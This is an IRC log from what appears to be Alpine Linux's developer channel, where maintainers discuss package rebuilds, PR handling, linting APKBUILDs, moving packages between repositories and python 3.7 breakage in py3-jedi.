2019-04-13 17:23:48 <iggy> _ikke_: tcely: I resubmitted the ceph PR hopefully with things looking better PR7076
2019-04-13 17:24:15 <iggy> the build is going to fail again though because ceph takes so long to compile
2019-04-13 17:24:48 <_ikke_> iggy: Thanks, note that next time you don't have to close the PR and reopen it. You can just push new changes (or force push) to the same branch and the PR will be updated
2019-04-13 17:25:19 <iggy> I know, but I had already force pushed twice, it was starting to look a little dirty
2019-04-13 17:25:37 <_ikke_> It doesn't matter that much :)
2019-04-13 17:25:51 <iggy> my mild OCD disagrees ;)
2019-04-13 17:25:55 <_ikke_> hehe
2019-04-13 17:26:27 <_ikke_> I was a bit surprised when you closed the PR without notice
2019-04-13 17:35:23 <iggy> yeah, sorry about that, I was at cloud next and dealing with a shitty SSD in my laptop, so there was some abruptness
2019-04-13 19:32:57 <z3ntu_> Can someone please reopen https://github.com/alpinelinux/aports/pull/5397?
2019-04-13 19:36:12 <_ikke_> done
2019-04-13 19:36:41 <_ikke_> I'm looking at it now
2019-04-13 19:37:28 <_ikke_> z3ntu_: sadly the bot only removes the stale label (and stops closing it) when you rebase the branch
2019-04-13 19:37:52 <_ikke_> z3ntu_: which is not a bad idea in any case
2019-04-13 19:41:20 <z3ntu_> _ikke_: > "you can leave a comment to remove the stale label."
2019-04-13 19:41:39 <z3ntu_> I have the stale bot on a repo if mine aswell and a comment should remove the stale label...
2019-04-13 19:41:44 <_ikke_> Yes, we initially thought that would work
2019-04-13 19:41:50 <_ikke_> hmm
2019-04-13 19:42:03 <danieli> are there any strange configs for it to dig around in?
2019-04-13 19:42:11 <danieli> er, strange configs for it that we can dig around in
2019-04-13 19:42:36 <_ikke_> Are we missing something here? https://github.com/alpinelinux/aports/blob/master/.github/stale.yml
2019-04-13 19:43:33 <z3ntu_> Not that I can see, here's mine: https://github.com/openrazer/openrazer/blob/master/.github/stale.yml
2019-04-14 04:43:36 <danieli> java-cacerts (1.0-r0) is broken in 3.9 by the looks of it, bad signature
2019-04-14 04:44:09 <danieli> broken on dl-cdn, works on uk
2019-04-14 05:04:03 <clandmeter> You can refresh the cache
2019-04-14 05:04:12 <clandmeter> With curl
2019-04-14 05:04:22 <danieli> it's a brand new machine
2019-04-14 05:04:48 <clandmeter> I mean ok cdn
2019-04-14 05:04:51 <clandmeter> On
2019-04-14 05:05:11 <danieli> uh?
2019-04-14 05:07:24 <clandmeter> curl -X PURGE URL-to-PURGE
2019-04-14 05:53:05 <danieli> didn't know i could do that without any authentication whatsoever
2019-04-14 09:13:06 <telmich> good morning
2019-04-14 09:14:09 <telmich> I have just installed my first alpine, which was refreshingly simple. However, I noted that there is no rdnssd in the installation image. So installation alpine in ipv6 only environments will lead to missing nameserver information
2019-04-14 09:15:04 <telmich> I was wondering what/how is the right place to discuss adding rdnssd or similar so that dns information from router advertisements can be used in the installation media
2019-04-14 09:19:34 <fcolista> uff.. i've firefox segfaulting (in edge) and chromium-browser has ../../sandbox/linux/seccomp-bpf-helpers/sigsys_handlers.cc:**CRASHING**:seccomp-bpf failure in syscall 0324
2019-04-14 09:19:34 <fcolista> Received signal 11 SEGV_MAPERR 000000010144
2019-04-14 09:19:46 <fcolista> no browser available in edge right now
2019-04-14 09:27:33 <mps> telmich: you can fill issue with package request in bugs.a.o
2019-04-14 09:28:37 <mps> or, you can make APKBUILD for the package and post it
2019-04-14 09:49:42 <telmich> mps: I can take care of the APKBUILD, adding it to the install medium is not something I can do :-)
2019-04-14 09:50:37 <telmich> mps: will create a bug
2019-04-14 09:51:57 <mps> right, bug will useful as reminder when the new install images are created
2019-04-14 09:58:34 <mps> btw, I'm not sure if dns resolver packages should be in install images
2019-04-14 10:19:35 <telmich> mps: My fault: it's not a resolver, but a program that is able to reade the DNS server / search path information
2019-04-14 10:20:49 <telmich> The way how you get nameservers in IPv6 with SLAAC is to parse the router advertisement packet and then apply the content to either openresolv or /etc/resolv.conf; most known daemon for this is https://linux.die.net/man/8/rdnssd
2019-04-14 10:21:46 <mps> looks like it some kind of resolver, although not in classic resolver daemon definition
2019-04-14 10:23:22 <telmich> It resolves the problem of finding DNS resolvers, if you want to
2019-04-14 10:23:32 <telmich> Basically the same thing as a dhcp client does, just less
2019-04-14 10:25:59 <mps> true, but dhcp (v6) should do this, but I don't know if does and if the dhcp (v6) send DNS data to client
2019-04-14 10:27:36 <mps> but yes, if ipv6 address is set without using dhcp such discovery utility would be useful
2019-04-14 10:28:23 <z3ntu_> _ikke_: Could you maybe accelerate the patches at https://patchwork.alpinelinux.org/patch/4643/ and https://patchwork.alpinelinux.org/patch/4693/ ?
2019-04-14 10:30:56 <telmich> mps: In IPv6 majority of the networks does not have dhcpv6, but slaac, which is rather neat as you don't need unicast communication to a central point
2019-04-14 10:31:28 <telmich> mps: i.e. dhcp: all clients broad/multicast and communicate with one "server" afterwards; slaac: one server multicasts from time to time and clients configure themselves
2019-04-14 10:34:13 <mps> some time passed when I last worked with ipv6, to be fair, today I only have and use radvd. IPv6 transition is not done as I expected (and hoped) when it announced and planed
2019-04-14 10:35:15 <_ikke_> z3ntu_: let me check
2019-04-14 10:35:53 <_ikke_> z3ntu_: I don't have push access to main, so I cannot apply 4643
2019-04-14 10:41:52 <_ikke_> z3ntu_: does it make sense to apply 4693 first?
2019-04-14 10:42:11 <z3ntu_> No, 4693 depends on 4643 (well, the tests fail without it)
2019-04-14 10:43:38 <_ikke_> Then someone with push access to main needs to handle it
2019-04-14 10:44:55 <z3ntu_> _ikke_: still thanks for looking!
2019-04-14 13:47:36 <danieli> so does anyone mind bumping libreoffice in edge/community?
2019-04-14 13:48:46 <danieli> pkgrel that is, it seems to be the latest version (i checked upstream tarball source)
2019-04-14 13:49:20 <danieli> is looks like it has to be rebuilt against libpoppler.so.82 (in repos) and not libpoppler.so.67
2019-04-14 13:49:41 <_ikke_> Alright
2019-04-14 13:50:17 <_ikke_> building now
2019-04-14 13:52:14 <ncopa> $ apk info -R libreoffice-draw | grep poppler
2019-04-14 13:52:14 <ncopa> so:libpoppler.so.82
2019-04-14 13:52:35 <ncopa> maybe there is a mix of edge and v3.9?
2019-04-14 13:52:49 <_ikke_> hmm
2019-04-14 13:52:55 <danieli> if there's a mix, it should've pulled in libreoffice from edge
2019-04-14 13:53:03 <danieli> unless they've done some very strange pinning
2019-04-14 13:53:26 <ncopa> looks like ppc64le is correct atleast
2019-04-14 13:54:00 <_ikke_> I get the same error in docker
2019-04-14 13:54:06 <_ikke_> in a brand new container
2019-04-14 13:54:11 <ncopa> x86_64?
2019-04-14 13:54:15 <_ikke_> yes
2019-04-14 13:54:17 <danieli> $ apk info -R libreoffice-draw | grep poppler
2019-04-14 13:54:17 <danieli> so:libpoppler.so.67
2019-04-14 13:54:22 <ncopa> ok
2019-04-14 13:54:22 <danieli> x86_64, updated package index
2019-04-14 13:54:28 <ncopa> it needs to be rebuilt then
2019-04-14 13:54:30 <danieli> it's broken on some arches
2019-04-14 13:54:30 <danieli> yes
2019-04-14 13:54:56 <danieli> in that case, you should be fine just bumping it _ikke_
2019-04-14 13:55:00 <danieli> (if it works on ppc)
2019-04-14 13:55:12 <_ikke_> danieli: Indeed, I just build it locally to be sure
2019-04-14 13:55:21 <danieli> i tend to do that as well :)
2019-04-14 13:58:26 <ncopa> +1
2019-04-14 13:58:56 <ncopa> my x86_64 lxc is fill with python3.7 garbage so i use the ppc64le instead
2019-04-14 13:59:30 <_ikke_> hehe
2019-04-14 13:59:41 <_ikke_> I created another container for that purpose
2019-04-14 13:59:51 <_ikke_> But I guess I can remove that one again
2019-04-14 14:02:22 <_ikke_> ncopa: I'm testing out some linting for APKBUILDs, what do you think is some low-hanging fruit we could check against?
2019-04-14 14:13:35 <danieli> _ikke_: re issue #1765, think i can close it? our wiki isn't super high traffic and it's on an upgraded OS and powerful box
2019-04-14 14:13:42 <danieli> it doesn't really warrant installing varnish (yet) imo
2019-04-14 14:13:54 <danieli> er, that was meant for #alpine-infra, sorry
2019-04-14 14:14:52 <_ikke_> yes, the wiki seems fast enough for now
2019-04-14 14:14:58 <danieli> agreed
2019-04-14 14:16:41 <kmaxwell> _ikke_: I know shellcheck prefers $() over `` do we have a preference?
2019-04-14 14:17:20 <_ikke_> kmaxwell: personally I favor $() as well
2019-04-14 14:18:10 <kmaxwell> snap! wanted to check because I was reviewing a PR and don't just want to push my preferences
2019-04-14 14:18:37 <danieli> I favor $() as well, because it can be nested
2019-04-14 14:18:39 <danieli> and consistency is key
2019-04-14 14:18:45 <_ikke_> And it's more clear to me as well
2019-04-14 14:18:52 <danieli> that too :)
2019-04-14 14:20:11 <kmaxwell> thanks both!
2019-04-14 14:21:07 <kmaxwell> one other question - does the process for a package bump change if the release notes mention a CVE?
2019-04-14 14:21:53 <_ikke_> If the update is a a security / bugfix only, it can be backported to older releases
2019-04-14 14:22:34 <ncopa> _ikke_: tabs vs whitespace
2019-04-14 14:22:45 <ncopa> checkbashisms
2019-04-14 14:23:05 <_ikke_> first one is good indeed
2019-04-14 14:23:12 <_ikke_> the latter comes for free with shellcheck
2019-04-14 14:23:20 <ncopa> im also in favor of $()
2019-04-14 14:23:42 <ncopa> version string validity
2019-04-14 14:24:25 <danieli> i use four spaces in my code because it displays more consistently, i guess the downside is that it eats a few more bytes over the wire, but that's negligible
2019-04-14 14:24:26 <ncopa> space before newline
2019-04-14 14:24:34 <danieli> i've stuck to tabs in my apkbuilds
2019-04-14 14:25:10 <ncopa> length of pkgdesc
2019-04-14 14:25:34 <ncopa> but im thinking, what are the most common issues when reviewing PRs
2019-04-14 14:26:19 <ncopa> we could try make it a habit to improve the linter when giving feedback on the PRs
2019-04-14 14:26:39 <ncopa> ppc64le is done soonish with libreoffice
2019-04-14 14:26:42 <_ikke_> yes, that's my idea as well
2019-04-14 14:26:52 <_ikke_> though shellcheck is writtin in haskell, which is not the easiest :)
2019-04-14 14:27:51 <ncopa> license format
2019-04-14 14:28:00 <ncopa> check if its according to SPDX
2019-04-14 14:57:55 <mps> _ikke_: have you a little time to explain to me how should I move iwd from testing to community. 'git mv ...' current version and post this as patch, or first post upgrade patch for testing and then move to community
2019-04-14 15:01:09 <mps> and btw, we need help of someone who can upgrade main/ell, I posted patch last night for it
2019-04-14 15:03:38 <mps> ncopa: could you push main/ell https://patchwork.alpinelinux.org/patch/4792/ I tested it on x86_64, aarch64 and armv7
2019-04-14 15:04:12 <_ikke_> mps: yes, it's better to have a separate commit for moving and updating
2019-04-14 15:04:53 <mps> ok, will first send move patch and then upgrade, thanks
2019-04-14 15:05:03 <_ikke_> It can be in the same patch series
2019-04-14 15:05:08 <_ikke_> just separate commits
2019-04-14 15:05:37 <mps> 'git format-patch -2'?
2019-04-14 15:06:23 <_ikke_> sure
2019-04-14 15:06:38 <mps> ok, thanks again
2019-04-14 15:07:39 <_ikke_> Might be that -2 does not work, but you an specify a start commit
2019-04-14 15:08:17 <mps> usually I works, but I will check result before sending, as usually do
2019-04-14 15:09:13 <mps> but have to wait for someone to first push ell, iwd depends on this new version
2019-04-14 15:53:45 <tcely> ncopa: pr7082 ?
2019-04-14 15:54:16 <tcely> Does moving to a simpler configuration make sense or do we want to remain with .rootbld-repositories ?
2019-04-14 16:20:49 <_ikke_> Is this something that should be fixed?: >>> WARNING: perl-crypt-openssl-aes*: Redundant /usr/lib in rpath found
2019-04-14 17:08:26 <ncopa> _ikke_: nah, it doesnt mean anything
2019-04-14 17:08:39 <ncopa> tcely: will check next week
2019-04-14 17:08:49 <_ikke_> ncopa: Right, figured.
2019-04-14 17:08:53 <_ikke_> Just wanted to be sure
2019-04-14 17:18:02 <ncopa> problem is that search path for shared libraries are set to /usr/lib
2019-04-14 17:18:05 <ncopa> which is the default
2019-04-14 17:18:44 <ncopa> woul be good to clean it up, but is very very low prio
2019-04-14 17:20:18 <_ikke_> ncopa: I think the easiest for now is to use shellcheck for basic linting and then use some shell script for our custom rules, do you agree?
2019-04-14 17:21:02 <ncopa> *shrug* no idea :)
2019-04-14 17:21:07 <_ikke_> It's easier then to extend shellcheck
2019-04-14 17:21:17 <ncopa> that sounds reasonable
2019-04-14 17:21:18 <_ikke_> which we cannot even compile properly yet on Alpine atm
2019-04-14 17:21:22 <mps> ncopa: sorry for annoying you again, iwd have security issue, and need main/ell upgraded
2019-04-14 17:21:23 <ncopa> lol
2019-04-14 17:21:52 <ncopa> mps: ping me again tm morning and I'll have a look at it
2019-04-14 17:22:07 <mps> ok
2019-04-14 17:22:55 <mps> I posted ell patch, and have iwd prepared but didn't posted because we need ell push first
2019-04-14 17:23:33 <tcely> _ikke_: FYI the binary seems portable enough https://github.com/koalaman/shellcheck/blob/master/Dockerfile
2019-04-14 17:23:46 <_ikke_> tcely: yes, I use that atm
2019-04-14 17:23:52 <kmaxwell> any suggestions on how to specifiy a version on an indirect dependency?
2019-04-14 17:23:55 <_ikke_> I use the static compiled binary
2019-04-14 17:24:08 <_ikke_> kmaxwell: I don't think that's possible
2019-04-14 17:24:23 <_ikke_> tcely: disadvantage is that we cannot extend it
2019-04-14 17:24:26 <kmaxwell> first time I came across the problem, my only idea is to add it as a dependency, maybe with a comment
2019-04-14 17:24:40 <_ikke_> kmaxwell: what do you need it for?
2019-04-14 17:25:35 <tcely> kmaxwell: wouldn't you just specify it with the version comparison as a direct dependency?
2019-04-14 17:26:46 <kmaxwell> that's how I was thinking of doing it
2019-04-14 17:27:06 <kmaxwell> its for google-auth a python module a couple of the checkdepends need https://patchwork.alpinelinux.org/patch/4737/
2019-04-14 17:28:47 <kmaxwell> thanks though, you've confirmed I'm thinking along the right lines :)
2019-04-14 19:24:08 <_ikke_> <200 open PRs again :)
2019-04-14 19:24:19 <SpaceToast> \o/ great job :D
2019-04-14 19:31:10 <tcely> Anyone see any obvious problems with https://github.com/alpinelinux/abuild/pull/57 ?
2019-04-14 19:32:12 <_ikke_> How is this going to work for the builders?
2019-04-14 19:32:29 <tcely> _ikke_: How do you mean?
2019-04-14 19:32:41 <_ikke_> how do they gather the GPG keys necessary to verify the gpg sigs?
2019-04-14 19:32:59 <tcely> From keyservers
2019-04-14 19:34:56 <_ikke_> some archlinux packages implement this, and I often have issues finding the required keys
2019-04-14 19:35:05 <_ikke_> They can be published anywhere
2019-04-14 19:36:05 <tcely> Do you not publish the keys you find to the keyservers?
2019-04-14 19:36:35 <tcely> I mean, I guess we could add a way to import keys too.
2019-04-14 19:38:36 <p4Wv1qn095FW> you know that keyservers are being declared dead by the devs of that ecosystem?
2019-04-14 19:39:07 <tcely> Oh?
2019-04-14 19:39:29 <p4Wv1qn095FW> https://mailarchive.ietf.org/arch/msg/openpgp/fH29WI7QLmaN3gO-T222G8LPCNE and https://mailarchive.ietf.org/arch/msg/openpgp/fH29WI7QLmaN3gO-T222G8LPCNE
2019-04-14 19:40:04 <_ikke_> So not declared dead, but discovered dying I guess
2019-04-14 19:41:42 <_ikke_> p4Wv1qn095FW: You linked twice to the same url
2019-04-14 19:41:48 <SpaceToast> web-of-trust in general is kind of awkward
2019-04-14 19:41:48 <p4Wv1qn095FW> shit. sorry
2019-04-14 19:41:54 <SpaceToast> (somewhat related, http://scholar.harvard.edu/files/mickens/files/thisworldofours.pdf )
2019-04-14 19:42:31 <SpaceToast> the keybase model is somewhat more humanly relatable, but it's not seeing great adoption either
2019-04-14 19:42:37 <p4Wv1qn095FW> https://lists.riseup.net/www/arc/monkeysphere/2019-04/msg00005.html
2019-04-14 19:43:10 <p4Wv1qn095FW> this is the other url i wanted to post
2019-04-14 19:44:16 <tcely> That was the [0] link on the first page or something different?
2019-04-14 19:47:40 <kmaxwell> _ikke_: great job! & thanks for merging one of mine
2019-04-14 19:48:52 <_ikke_> np
2019-04-14 20:16:37 <kmaxwell> anyone know if its OK to add a missing dependency for an existing main package straight into main?
2019-04-14 20:17:51 <kmaxwell> ordinarily would start in testing, but looking at #10137 there's some dependencies not packaged at all
2019-04-14 20:19:35 <_ikke_> Hmm, I think it makes more sense to move py-pep8-naming and py-flake8 to community
2019-04-14 20:20:19 <_ikke_> (and then the missing dependency to community as well
2019-04-14 20:22:30 <_ikke_> Some packages are still in main because they were added before we had community
2019-04-14 20:22:31 <kmaxwell> _ikke_: awesome thanks for the advice, do you think py-pyflakes should move to community as well?
2019-04-14 20:22:49 <kmaxwell> it needs an upgrade for compatibilty
2019-04-14 20:23:00 <_ikke_> yes
2019-04-14 20:36:09 <iggy> if I've got a PR open that I'm not going to have time to make changes, to fix some comments, for at least a few weeks, should I leave it open or close it?
2019-04-14 20:36:46 <_ikke_> iggy: do you mean the ceph one?
2019-04-14 20:36:50 <iggy> yes
2019-04-14 20:37:08 <_ikke_> If you could just adjust those commit message, I can merge it right away
2019-04-14 20:37:17 <_ikke_> Then it's off your plate
2019-04-14 20:40:06 <iggy> well, I added the "from testing" at someone else's request (which was the only change I made that made the commit messages too long)
2019-04-14 20:40:43 <iggy> I don't mind doing it right, it's just I'm going to be busy for a couple of weeks and won't have time to mess with it
2019-04-14 20:42:45 <kmaxwell> iggy: I think it is simpler than that, looks like you just need to tweak the commit messages
2019-04-14 20:43:15 <_ikke_> iggy: Because the target repo is already in the prefix, you don't have to repeat it
2019-04-14 20:43:32 <_ikke_> hold on
2019-04-14 20:44:21 <kmaxwell> my example would be 'community/oath-toolkit: Move oath-toolkit from testing to community a…
2019-04-14 20:44:25 <kmaxwell> …s a dep of ceph and make it compile with new gcc
2019-04-14 20:44:40 <kmaxwell> sorry that didn't make sense and I don't think I'm helping :(
2019-04-14 20:45:32 <mps> kmaxwell: isn't simpler: move from testing? you already have community/oath-toolkit
2019-04-14 20:45:57 <_ikke_> yes
2019-04-14 20:49:09 <kmaxwell> sorry ignore the last few things I said I was getting distract from my flake8 issue
2019-04-14 20:50:34 <kmaxwell> need to decide is it better to add a py2 only package to community or dropping py2 support for flake8?
2019-04-14 20:51:57 <_ikke_> iggy: This is what I suggest: https://tpaste.us/DLjO
2019-04-14 20:53:12 <_ikke_> Note that the last commit message ends with .. where you can add the reason why it needs to be back
2019-04-14 20:55:17 <_ikke_> iggy: If you tell me why radosgw was added back again, I can also fix it for you
2019-04-14 20:59:48 <skyne98> Hey, guys, I have a question: is there a chance that rust package will be updated?
2019-04-14 21:00:12 <_ikke_> skyne98: probably eventually, but from what I gathered, rust is problematic
2019-04-14 21:00:30 <skyne98> Yeah, unfortunately I have heard the same
2019-04-14 21:00:31 <_ikke_> mps: weren't you working on rust?
2019-04-14 21:01:01 <skyne98> There is a comment about "when llvm6 is here"
2019-04-14 21:01:10 <skyne98> And llvm6 seems to be in packages already
2019-04-14 21:01:53 <skyne98> So I guess one of the points is checked? But I have to be honest, I don't have any experience in building rust compiler from source
2019-04-14 21:02:23 <mps> _ikke_: no, I work only to boostrap it on armv7 and aarch64
2019-04-14 21:02:29 <_ikke_> mps: ah ok
2019-04-14 21:03:08 <mps> afaik, it could be built with llvm7, although didn't tried
2019-04-14 21:03:26 <danieli> a lot has been happening and we're stretched fairly thin, and the person who took care of it is no longer participating actively in the project
2019-04-14 21:03:34 <danieli> except to maintain stuff he uses himself, as far as I understood
2019-04-14 21:03:37 <_ikke_> Was that kaniini?
2019-04-14 21:03:39 <_ikke_> or jirutka
2019-04-14 21:03:41 <danieli> jirutka
2019-04-14 21:03:43 <_ikke_> ok
2019-04-14 21:03:51 <_ikke_> Yeah, I recall now
2019-04-14 21:03:52 <danieli> https://git.alpinelinux.org/aports/log/community/rust/APKBUILD
2019-04-14 21:04:40 <skyne98> Yeah, I think contributers are mentioned there
2019-04-14 21:04:42 <mps> and upstream is not helpful on porting it to musl on arm's
2019-04-14 21:04:43 <_ikke_> I think one of the issues was that it's becoming harder and harder to bootstrap rust
2019-04-14 21:04:59 <_ikke_> they rely on crate already being available iirc
2019-04-14 21:05:48 <skyne98> Still, it is strange to me that a compiler written in rust itself is so hard to compile to different platforms
2019-04-14 21:05:58 <mps> actually, I built it on arm but didn't manage to make proper apk
2019-04-14 21:06:10 <_ikke_> kmaxwell: one thing I noticed is that changing things is easier when you move first, and then do additional changes (re keychain)
2019-04-14 21:06:32 <danieli> bootstrapping java also became vastly more difficult as gcj was removed from more recent gcc releases
2019-04-14 21:08:13 <mps> skyne98: I hope that someone more experienced in packaging will help me with the issues I have
2019-04-14 21:08:50 <_ikke_> Not sure I'm that experienced in packaging, but what issues do you have?
2019-04-14 21:10:00 <mps> I'm not right now behind ssh connection to lxc container, but could send you build logs tomorrow if you are interested to look at it
2019-04-14 21:12:36 <skyne98> I can try to help too, even though I don't have that much experience with alpine packages myself
2019-04-14 21:13:18 <mps> skyne98: that's nice, I'll ping also you
2019-04-14 21:14:14 <skyne98> Btw, guys, do you maybe have any IRC clients to recommend? HexChat is very nice, but the requirement to have it opened all the time to receive messages is very impractical
2019-04-14 21:14:24 <skyne98> Maybe Alpine has a discord?
2019-04-14 21:14:27 <danieli> the lounge is nice if you can deal with a web client, works well on android too
2019-04-14 21:14:44 <_ikke_> skyne98: I believe there is a discord channel somewhere, but it's not that active
2019-04-14 21:14:44 <danieli> there is an alpine discord but it's not an official thing
2019-04-14 21:14:55 <skyne98> That's unfortunate
2019-04-14 21:14:57 <danieli> yes, it only has a few people on it, it hasn't really been published anywhere
2019-04-14 21:15:02 <danieli> discord.gg/discord
2019-04-14 21:15:04 <danieli> er
2019-04-14 21:15:05 <danieli> discord.gg/alpine
2019-04-14 21:15:22 <mps> irssi?
2019-04-14 21:15:24 <_ikke_> I like my chat clients fast and lean :)
2019-04-14 21:15:26 <_ikke_> weechat
2019-04-14 21:15:34 <danieli> anyway, for irc, i can recommend irssi in CLI, and you could install znc (irc bouncer) on a VPS somewhere so it doesn't go down
2019-04-14 21:15:43 <danieli> some like weechat
2019-04-14 21:15:48 <_ikke_> tmux + weechat :P
2019-04-14 21:15:52 <danieli> ye boi
2019-04-14 21:16:10 <skyne98> Ohh man
2019-04-14 21:16:19 <_ikke_> I just cannot get used to discord
2019-04-14 21:16:21 <_ikke_> or slack
2019-04-14 21:16:39 <mps> irssi is not so friendly to start with it, but after some time pays back hard start
2019-04-14 21:16:47 <danieli> discord annoys me off less than slack does, but i'm still against proprietary and centralized services
2019-04-14 21:16:55 <danieli> s/off//
2019-04-14 21:16:55 <alpine-meetbot> danieli meant to say: discord annoys me  less than slack does, but i'm still against proprietary and centralized services
2019-04-14 21:17:30 <kmaxwell> _ikke_: sure I can move first then upgrade, is that better generally?
2019-04-14 21:17:55 <_ikke_> kmaxwell: Only for git operations
2019-04-14 21:18:07 <danieli> if anyone wants to discuss discord/slack/irc, let's do it in #alpine-offtopic :)
2019-04-14 21:18:14 <skyne98> agree
2019-04-14 21:18:35 <kmaxwell> generally I go to upgrade something to solve a problem then later realise its worth a PR
2019-04-14 21:18:47 <danieli> this channel is a bit busier than it usually is at this time on sunday evenings (central europe)
2019-04-14 21:23:14 <kmaxwell> _ikke_: did you take out the dummy build() on keychain?
2019-04-14 21:23:25 <kmaxwell> I just ask because I'd seen https://git.alpinelinux.org/aports/commit/testing/keychain/APKBUILD?id=54986d129f232fe4b168a629d35ca316744ac54f
2019-04-14 21:24:09 <_ikke_> kmaxwell: yes, I did
2019-04-14 21:24:25 <_ikke_> hmm, ok
2019-04-14 21:24:41 <_ikke_> why would that be
2019-04-14 21:24:47 <_ikke_> commit message doesn't mention
2019-04-14 21:25:03 <_ikke_> https://git.alpinelinux.org/abuild/tree/abuild.in#n654
2019-04-14 21:25:09 <kmaxwell> yeah I didn't understand it completely
2019-04-14 21:25:11 <_ikke_> this exists, so I don't see why it would be necessary
2019-04-14 21:25:16 <kmaxwell> thanks that's the link I'm looking for :)
2019-04-14 21:25:47 <_ikke_> I prefer APKBUILDs be as clean as possible
2019-04-14 21:25:54 <_ikke_> s/be/to be/
2019-04-14 21:25:54 <alpine-meetbot> _ikke_ meant to say: I prefer APKBUILDs to be as clean as possible
2019-04-14 21:26:32 <kmaxwell> yes so do I
2019-04-14 21:27:09 <kmaxwell> if without build() works I prefer that too, just sometimes I don't know all the history and that commit...
2019-04-14 21:27:47 <_ikke_> rnalrd: Do you know why you did this? https://git.alpinelinux.org/aports/commit/testing/keychain/APKBUILD?id=54986d129f232fe4b168a629d35ca316744ac54f
2019-04-14 21:28:27 <kmaxwell> its great if people point out some of the why - I didn't know community was is more recent than main til you said earlier :)
2019-04-14 21:29:22 <_ikke_> yes, understood
2019-04-14 21:29:40 <_ikke_> I don't know all the history either
2019-04-14 21:29:50 <kmaxwell> _ikke_: you convinced me, we're better without the meaningless build(), I am probably over cautious as I'm a so new :)
2019-04-14 21:49:42 <tcely> skyne98: quassel is my IRC solution of choice. I run the core under docker and connect to that with various clients.
2019-04-14 21:53:15 <skyne98> Thanks for your IRC recommendations, I will definitely look into them
2019-04-15 03:24:46 <clandmeter> good morning
2019-04-15 03:25:33 <clandmeter> im having fun installing alpine on lvm behind proxy on an epyc system
2019-04-15 03:36:37 <clandmeter> looks like im fighting apk over transparent proxy
2019-04-15 06:42:04 <rnalrd> _ikke_ iirc there was a time that build() was required/recommended
2019-04-15 06:59:00 <_ikke_> It doesn't seem to be required at the moment as there is a default build function
2019-04-15 09:28:52 <mps> ncopa: main/ell upgrade we talked yesterday about, https://patchwork.alpinelinux.org/patch/4792/ if you have time
2019-04-15 09:56:34 <ncopa> mps: ok, looking at it now
2019-04-15 09:59:02 <kmaxwell> if anyone with access to main could look at https://patchwork.alpinelinux.org/patch/4737/ it would be amazing!
2019-04-15 09:59:34 <kmaxwell> summarising it was a dependency for the last update to main/pytest and a few things are broken
2019-04-15 09:59:51 <ncopa> so current edge is broken?
2019-04-15 10:00:00 <ncopa> i have it my python3.7 branch
2019-04-15 10:00:12 <kmaxwell> in places yes - the dependency is spelled out here: https://github.com/pytest-dev/pytest/blob/4.4.0/setup.py
2019-04-15 10:00:41 <ncopa> sigh ok, i need to push it and rebase the python3.7 once again then i guess
2019-04-15 10:01:23 <kmaxwell> sorry to be the bearer of bad news :(
2019-04-15 10:01:36 <ncopa> np
2019-04-15 10:01:55 <ncopa> thats the prize i pay for taking the python 3.7 thing...
2019-04-15 10:02:02 <kmaxwell> on a more upbeat note I very nearly have a fix for https://bugs.alpinelinux.org/issues/10137
2019-04-15 10:30:07 <ncopa> py3-jedi testsuite still fails
2019-04-15 10:49:14 <_ikke_> ncopa: Where is it failing on?
2019-04-15 10:58:37 <ncopa> https://tpaste.us/yPr8
2019-04-15 11:03:10 <ncopa> https://github.com/davidhalter/jedi/issues/1263
2019-04-15 11:12:52 <_ikke_> Ok, so they are working on a fix
2019-04-15 11:14:02 <ncopa> in a separate branch
2019-04-15 11:14:06 <ncopa> apparently its a major refactor
2019-04-15 11:14:09 <ncopa> i wonder what to do
2019-04-15 11:14:42 <ncopa> we could skip the tests and ship it broken
2019-04-15 11:14:53 <ncopa> or we could remove it and re-add it once its fixed upstream
2019-04-15 11:15:05 <ncopa> or we could simply wait with the python 3.7 update
2019-04-15 11:16:55 <ncopa> or we could create a patch against the typesched branch
2019-04-15 11:17:40 <mps> If I register to patchwork.alpinelinux.org could I then change status or delete sent patches there?
2019-04-15 11:19:35 <mps> it is written this on register page 'update the state of your own patches' but not sure if it works
2019-04-15 11:21:42 <_ikke_> Might be related to the e-mail address you use
2019-04-15 11:22:03 <mps> understand, will try to see. thanks
2019-04-15 11:26:54 <mps> _ikke_: looks like it works. even for previously posted and not applied patches. nice :)
2019-04-15 11:30:10 <kmaxwell> ncopa: if we did ship py3-jedi with 3.7 is the whole package broken or just tests?
2019-04-15 11:30:56 <kmaxwell> because IMO temporarily setting options="!check" beats delaying the 3.7 update :)
2019-04-15 11:31:20 <ncopa> apparently it does not work at all with python 3.7
2019-04-15 11:31:43 <ncopa> there is a branch called typeshed that should work with python 3.7
2019-04-15 11:31:51 <ncopa> i did a patch against v0.13.3 tag
2019-04-15 11:31:58 <ncopa> but it seems like tests fails
2019-04-15 11:32:55 <ncopa> it seems to only be ipython that uses it
2019-04-15 11:33:11 <ncopa> i wonder if  jedi can be disabled in ipython
2019-04-15 11:33:27 <kmaxwell> that typeshed branch appears to occasionally pass in travis https://travis-ci.org/davidhalter/jedi/branches
2019-04-15 11:35:31 <ncopa> but ipython seems to have support for python 3.7
2019-04-15 11:36:20 <ncopa> the typeshed.patch i have fails on every test apparently
2019-04-15 11:36:28 <ncopa> 1708 failed, 172 passed, 20 skipped, 5 xfailed, 1 warnings in 368.23 seconds
2019-04-15 11:36:39 <ncopa> i guess we can build it without tests for now
2019-04-15 11:36:49 <ncopa> and see what breaks in ipython
2019-04-15 11:37:40 <kmaxwell> ncopa: https://github.com/flying-sheep/ipython/blob/master/IPython/core/completer.py#L579 is probably the file to disable ipython's jedi support
2019-04-15 11:37:58 <ncopa> ah
2019-04-15 11:37:59 <ncopa> good
2019-04-15 11:38:10 <ncopa> i guess we could simply remove py3-jedi for now then?
2019-04-15 11:38:11 <kmaxwell> it looks like it auto detects if jedi is installed farther up, but maybe you want to patch
2019-04-15 11:38:34 <ncopa> im not too happy about shipping a completely broken package
2019-04-15 11:38:38 <ncopa> better to just remove it
2019-04-15 11:38:45 <kmaxwell> yes agree
2019-04-15 11:38:53 <ncopa> maybe move it to testing
2019-04-15 11:39:03 <ncopa> and disable tests there
2019-04-15 11:39:08 <ncopa> or just purge it
2019-04-15 11:39:13 <ncopa> lets purge it
2019-04-15 11:39:30 <kmaxwell> it'll always be in the git history :)
2019-04-15 11:40:42 <ncopa> exactly
2019-04-15 11:46:03 <ncopa> i now have 233 commits in my python3.7 branch
2019-04-15 11:46:29 <kmaxwell> the same python package has two names: https://git.alpinelinux.org/aports/tree/testing/py-pycodestyle/APKBUILD https://git.alpinelinux.org/aports/tree/main/py-pep8/APKBUILD
2019-04-15 11:46:46 <ncopa> we shoudl clean that up
